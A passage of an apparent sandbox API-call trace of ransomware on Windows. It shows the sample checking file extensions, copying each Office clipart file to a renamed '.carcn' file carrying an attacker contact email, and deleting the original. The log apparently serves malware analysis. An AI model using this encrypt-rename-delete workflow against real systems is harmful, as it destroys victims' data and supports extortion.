Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.054] lstrlenW (lpString=".doc") returned 4 [0300.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.054] lstrlenW (lpString=".docx") returned 5 [0300.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.054] lstrlenW (lpString=".pdf") returned 4 [0300.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.054] lstrlenW (lpString=".xls") returned 4 [0300.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.054] lstrlenW (lpString=".xlsx") returned 5 [0300.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.055] lstrlenW (lpString=".ppt") returned 4 [0300.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.055] lstrlenW (lpString=".zip") returned 4 [0300.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.055] lstrlenW (lpString=".rar") returned 4 [0300.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString=".bz2") returned 4 [0300.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString=".7z") returned 3 [0300.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.055] lstrlenW (lpString=".dbf") returned 4 [0300.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.055] lstrlenW (lpString=".1cd") returned 4 [0300.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.055] lstrlenW (lpString=".jpg") returned 4 [0300.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.055] lstrlenW (lpString=".doc") returned 4 [0300.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString=".docx") returned 5 [0300.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.055] lstrlenW (lpString=".pdf") returned 4 [0300.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.055] lstrlenW (lpString=".xls") returned 4 [0300.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.056] lstrlenW (lpString=".xlsx") returned 5 [0300.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.056] lstrlenW (lpString=".ppt") returned 4 [0300.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.056] lstrlenW (lpString=".zip") returned 4 [0300.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.056] lstrlenW (lpString=".rar") returned 4 [0300.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.056] lstrlenW (lpString=".bz2") returned 4 [0300.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.056] lstrlenW (lpString=".7z") returned 3 [0300.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.056] lstrlenW (lpString=".dbf") returned 4 [0300.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.056] lstrlenW (lpString=".1cd") returned 4 [0300.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.056] lstrlenW (lpString=".jpg") returned 4 [0300.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.056] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.056] lstrlenW (lpString="DD00414_.WMF") returned 12 [0300.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.057] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=42908) returned 1 [0300.057] CloseHandle (hObject=0x394) returned 1 [0300.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0300.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.058] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.058] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0300.058] GetLastError () returned 0x0 [0300.058] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xa79c, lpOverlapped=0x0) returned 1 [0300.061] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0300.062] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.062] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.063] SetEndOfFile (hFile=0x34c) returned 1 [0300.063] CloseHandle (hObject=0x34c) returned 1 [0300.063] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.063] SetEndOfFile (hFile=0x394) returned 1 [0300.064] CloseHandle (hObject=0x394) returned 1 [0300.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0300.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.065] lstrlenW (lpString=".doc") returned 4 [0300.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.065] lstrlenW (lpString=".docx") returned 5 [0300.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.066] lstrlenW (lpString=".pdf") returned 4 [0300.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.066] lstrlenW (lpString=".xls") returned 4 [0300.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.066] lstrlenW (lpString=".xlsx") returned 5 [0300.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.066] lstrlenW (lpString=".ppt") returned 4 [0300.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.066] lstrlenW (lpString=".zip") returned 4 [0300.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.066] lstrlenW (lpString=".rar") returned 4 [0300.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.066] lstrlenW (lpString=".bz2") returned 4 [0300.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.066] lstrlenW (lpString=".7z") returned 3 [0300.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.066] lstrlenW (lpString=".dbf") returned 4 [0300.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.066] lstrlenW (lpString=".1cd") returned 4 [0300.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.066] lstrlenW (lpString=".jpg") returned 4 [0300.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.067] lstrlenW (lpString=".doc") returned 4 [0300.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.067] lstrlenW (lpString=".docx") returned 5 [0300.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.067] lstrlenW (lpString=".pdf") returned 4 [0300.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.067] lstrlenW (lpString=".xls") returned 4 [0300.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.067] lstrlenW (lpString=".xlsx") returned 5 [0300.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.067] lstrlenW (lpString=".ppt") returned 4 [0300.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.067] lstrlenW (lpString=".zip") returned 4 [0300.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.067] lstrlenW (lpString=".rar") returned 4 [0300.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.067] lstrlenW (lpString=".bz2") returned 4 [0300.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.067] lstrlenW (lpString=".7z") returned 3 [0300.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.067] lstrlenW (lpString=".dbf") returned 4 [0300.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.068] lstrlenW (lpString=".1cd") returned 4 [0300.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0300.068] lstrlenW (lpString=".jpg") returned 4 [0300.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.068] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.068] lstrlenW (lpString="DD00419_.WMF") returned 12 [0300.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.068] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=712) returned 1 [0300.068] CloseHandle (hObject=0x394) returned 1 [0300.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0300.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.069] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.069] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.539] GetLastError () returned 0x0 [0300.539] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2c8, lpOverlapped=0x0) returned 1 [0300.539] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0300.540] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.540] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.540] SetEndOfFile (hFile=0x388) returned 1 [0300.540] CloseHandle (hObject=0x388) returned 1 [0300.540] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.540] SetEndOfFile (hFile=0x394) returned 1 [0300.541] CloseHandle (hObject=0x394) returned 1 [0300.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0300.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.542] lstrlenW (lpString=".doc") returned 4 [0300.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.542] lstrlenW (lpString=".docx") returned 5 [0300.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.542] lstrlenW (lpString=".pdf") returned 4 [0300.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.542] lstrlenW (lpString=".xls") returned 4 [0300.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.542] lstrlenW (lpString=".xlsx") returned 5 [0300.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.542] lstrlenW (lpString=".ppt") returned 4 [0300.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.542] lstrlenW (lpString=".zip") returned 4 [0300.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.542] lstrlenW (lpString=".rar") returned 4 [0300.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.542] lstrlenW (lpString=".bz2") returned 4 [0300.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.542] lstrlenW (lpString=".7z") returned 3 [0300.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.542] lstrlenW (lpString=".dbf") returned 4 [0300.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.542] lstrlenW (lpString=".1cd") returned 4 [0300.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.542] lstrlenW (lpString=".jpg") returned 4 [0300.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.543] lstrlenW (lpString=".doc") returned 4 [0300.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString=".docx") returned 5 [0300.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.543] lstrlenW (lpString=".pdf") returned 4 [0300.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString=".xls") returned 4 [0300.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.543] lstrlenW (lpString=".xlsx") returned 5 [0300.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.543] lstrlenW (lpString=".ppt") returned 4 [0300.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.543] lstrlenW (lpString=".zip") returned 4 [0300.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.543] lstrlenW (lpString=".rar") returned 4 [0300.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString=".bz2") returned 4 [0300.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString=".7z") returned 3 [0300.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.543] lstrlenW (lpString=".dbf") returned 4 [0300.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.543] lstrlenW (lpString=".1cd") returned 4 [0300.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0300.543] lstrlenW (lpString=".jpg") returned 4 [0300.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.544] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.544] lstrlenW (lpString="DD01145_.WMF") returned 12 [0300.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.544] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2780) returned 1 [0300.544] CloseHandle (hObject=0x394) returned 1 [0300.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0300.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.545] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.545] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.545] GetLastError () returned 0x0 [0300.545] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xadc, lpOverlapped=0x0) returned 1 [0300.546] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xae0, lpOverlapped=0x0) returned 1 [0300.547] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.547] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.548] SetEndOfFile (hFile=0x388) returned 1 [0300.548] CloseHandle (hObject=0x388) returned 1 [0300.548] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.548] SetEndOfFile (hFile=0x394) returned 1 [0300.549] CloseHandle (hObject=0x394) returned 1 [0300.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0300.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0300.550] lstrlenW (lpString=".doc") returned 4 [0300.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.550] lstrlenW (lpString=".docx") returned 5 [0300.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.550] lstrlenW (lpString=".pdf") returned 4 [0300.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.550] lstrlenW (lpString=".xls") returned 4 